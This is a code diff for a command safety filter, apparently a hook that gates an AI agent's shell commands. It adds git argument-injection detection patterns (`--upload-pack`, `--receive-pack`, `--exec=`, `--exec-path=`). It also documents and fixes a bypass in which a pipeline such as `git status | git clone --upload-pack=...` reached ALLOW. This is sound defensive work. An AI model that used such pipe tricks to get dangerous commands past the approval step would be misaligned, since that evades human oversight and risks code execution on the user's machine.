r"\bgit\b[^|;&]*--exec-path="), + ] +} + fn builtin_ask() -> Vec { let specs: &[(&str, &str)] = &[ // eval — executes arbitrary strings; subshell-only idioms like @@ -1166,66 +1231,6 @@ fn builtin_ask() -> Vec { "git remote mutate", r"\bgit\s+remote\s+(remove|rm|set-url|set-head|prune)\b", ), - // git argument injection — classic RCE vector: `--upload-pack=` / - // `--receive-pack=` passed to git clone/fetch/push cause git to - // invoke instead of the expected git-upload-pack/git-receive-pack - // helper (the mechanism behind several historical git CVEs involving - // attacker-controlled remote "paths"/URLs); `--exec-path=` is the - // same class of risk — it changes where git looks for its own core - // helper binaries, so pointing it at an attacker-writable directory can - // substitute a trojanned binary for any subsequent git operation. - // - // Three independent patterns rather than one combined regex: `|` has - // the lowest precedence of any regex operator, so `A|B|C` in a single - // pattern is three fully independent top-level alternatives across the - // whole string, not "A, followed by (B or C)" — a real-world bug - // reported from a hand-rolled variant of this pattern that additionally - // tried to scope it behind a `(-c|b)+` prefix: since Pattern::builtin() - // wraps every pattern in `(?i)`, that `-c` branch case-insensitively - // matched `-C` too (a completely unrelated git flag — "run as if git - // was started in " vs `-c`'s "pass a config override"), causing - // `git -C worktree list | grep verify` to false-positive. None - // of the three real dangerous flags need any such prefix to be - // dangerous, so it's dropped entirely here — `git ... --upload-pack` - // is dangerous regardless of what other flags (if any) precede it. - // - // `[^|;&]*` (not `.*`) between `git` and the flag: `.*` is greedy and - // unconstrained, so it can bridge across `|`/`;`/`&` and match a flag - // that belongs to a completely different command later in the same - // segment — e.g. `git log --oneline | grep --upload-pack` false- - // positived under `.*` because split_segments() deliberately does not - // split on bare `|` (pipe-to-interpreter detection elsewhere needs - // the whole pipeline in one segment) and `check_command`/is_allowed - // pipe-stage checks don't apply to ask/deny matching. Restricting the - // filler to "not a compound/pipe separator" keeps the pattern scoped - // to a single command while still matching arbitrary intervening git - // flags (`git -c foo.bar=baz clone --upload-pack=x` still matches). - // Found via third-party review of PR #307. - ("git --upload-pack", r"\bgit\b[^|;&]*--upload-pack\b"), - // `--exec` is an undocumented synonym for `--receive-pack` on - // `git push` (see git-push(1)): `git push --exec=` runs - // instead of git-receive-pack, identical RCE shape to - // `--receive-pack=`. Folded into this pattern rather than a - // separate one since it's the exact same vulnerability class. - // - // No `\b` immediately before the alternation: the preceding filler - // usually ends right before a `-` (e.g. `push ` then `--exec`), and - // `-` is itself a non-word character, so a space-to-dash transition - // is NOT a `\b` boundary — a leading `\b` there silently prevented - // the whole pattern from ever matching. `--exec` requires a literal - // `=` (not just a trailing `\b`) so it doesn't also match the - // unrelated `--exec-path` flag (`--exec-path` is caught by its own - // dedicated pattern below). - ( - "git --receive-pack", - r"\bgit\b[^|;&]*(?:--receive-pack\b|--exec=)", - ), - // Bare `git --exec-path` (no `=`) only prints the current - // exec-path setting and exits — read-only, per git(1). Only the - // `--exec-path=` form actually changes where git looks for its - // core helper binaries, so the pattern requires the `=` to avoid - // asking about a harmless introspection command. - ("git --exec-path", r"\bgit\b[^|;&]*--exec-path="), // docker rm -f — force-removes a running container ( "docker rm -f", @@ -1488,7 +1493,11 @@ fn builtin_ask() -> Vec { // Pattern: redirect (> or >>) followed immediately by $( or backtick. ("redirect to subshell path", r">\s*(?:\$\(|\x60)"), ]; - specs.iter().map(|(l, p)| Pattern::builtin(l, p)).collect() + specs + .iter() + .chain(git_argument_injection_ask_patterns()) + .map(|(l, p)| Pattern::builtin(l, p)) + .collect() } // ─── Built-in protected-ask patterns ───────────────────────────────────────── @@ -6649,6 +6658,39 @@ fn check_encoded_payload<'a>( scan_decoded_content(&decoded, deny_pats, ask_pats) } +/// A segment is "allowed" (suppresses the ASK tier only — DENY always fires) +/// when any of its forms matches an allow pattern. +/// +/// A segment containing a bare `|` needs a stricter check: `split_segments` +/// deliberately does NOT split on `|` (see its doc comment — pipe-to- +/// interpreter needs to stay in one segment for ask/deny matching), so a +/// pipeline like `git status | git clone --upload-pack=...` reaches this +/// point as a single segment. Matching the whole segment against an allow +/// pattern anchored only at `^` (e.g. "git read-only") lets that anchor +/// match the safe first stage and silently wave through whatever dangerous +/// command follows the pipe — found via second-opinion review on PR #307 +/// (2026-09-26): `git status | git clone --upload-pack=...` was reaching +/// ALLOW instead of the intended ASK. Requiring every pipe stage to +/// independently match an allow pattern closes this without touching how +/// `|` is handled anywhere else (ask/deny still match against the full, +/// unsplit segment). Known-safe wrapper pipes (RTK's `git -C ...`, +/// sqz's trailing `| sqz compress ...`, and the inline `| python3 -c "..."` / +/// `| node -m ...` forms) are all already stripped upstream +/// (`strip_rtk`/`strip_sqz`/`strip_safe_pipes`) before `check_command` ever +/// sees the command, so they never reach this branch. +fn segment_is_allowed(segment: &str, forms: &[&str], allow_pats: &[Pattern]) -> bool { + if segment.contains('|') { + split_pipe_stages(segment).iter().all(|stage| { + let stage = stage.trim(); + !stage.is_empty() && allow_pats.iter().any(|p| p.matches(stage)) + }) + } else { + forms + .iter() + .any(|f| allow_pats.iter().any(|p| p.matches(f))) + } +} + // ─── Core check logic ──────────────────────────────────────────────────────── // Returns Some(("deny"|"ask", reason)) or None for pass. // Does NOT perform script-file scanning (requires filesystem) or subshell checks. @@ -6696,35 +6738,8 @@ fn check_command<'a>( let forms: &[&str] = &forms_vec; // allow_pats suppress the ASK tier only — DENY tier always fires. - // A segment is "allowed" when any of its forms matches an allow pattern. - // - // A segment containing a bare `|` needs a stricter check: `split_segments` - // deliberately does NOT split on `|` (see its doc comment — pipe-to- - // interpreter needs to stay in one segment for ask/deny matching), so a - // pipeline like `git status | git clone --upload-pack=...` reaches this - // point as a single segment. Matching the whole segment against an - // allow pattern anchored only at `^` (e.g. "git read-only") lets that - // anchor match the safe first stage and silently wave through whatever - // dangerous command follows the pipe — found via second-opinion review - // on PR #307 (2026-09-26): `git status | git clone --upload-pack=...` - // was reaching ALLOW instead of the intended ASK. Requiring every pipe - // stage to independently match an allow pattern closes this without - // touching how `|` is handled anywhere else (ask/deny still match - // against the full, unsplit segment). Known-safe wrapper pipes (RTK's - // `git -C ...`, sqz's trailing `| sqz compress ...`, and the - // inline `| python3 -c "..."` / `| node -m ...` forms) are all already - // stripped upstream (`strip_rtk`/`strip_sqz`/`strip_safe_pipes`) before - // this function ever sees the command, so they never reach this branch. - let is_allowed = if segment.contains('|') { - split_pipe_stages(segment).iter().all(|stage| { - let stage = stage.trim(); - !stage.is_empty() && allow_pats.iter().any(|p| p.matches(stage)) - }) - } else { - forms - .iter() - .any(|f| allow_pats.iter().any(|p| p.matches(f))) - }; + // See `segment_is_allowed`'s doc comment for the pipe-stage subtlety. + let is_allowed = segment_is_allowed(segment, forms, allow_pats); // ── Deny tier (always runs, allow cannot suppress) ────────────────────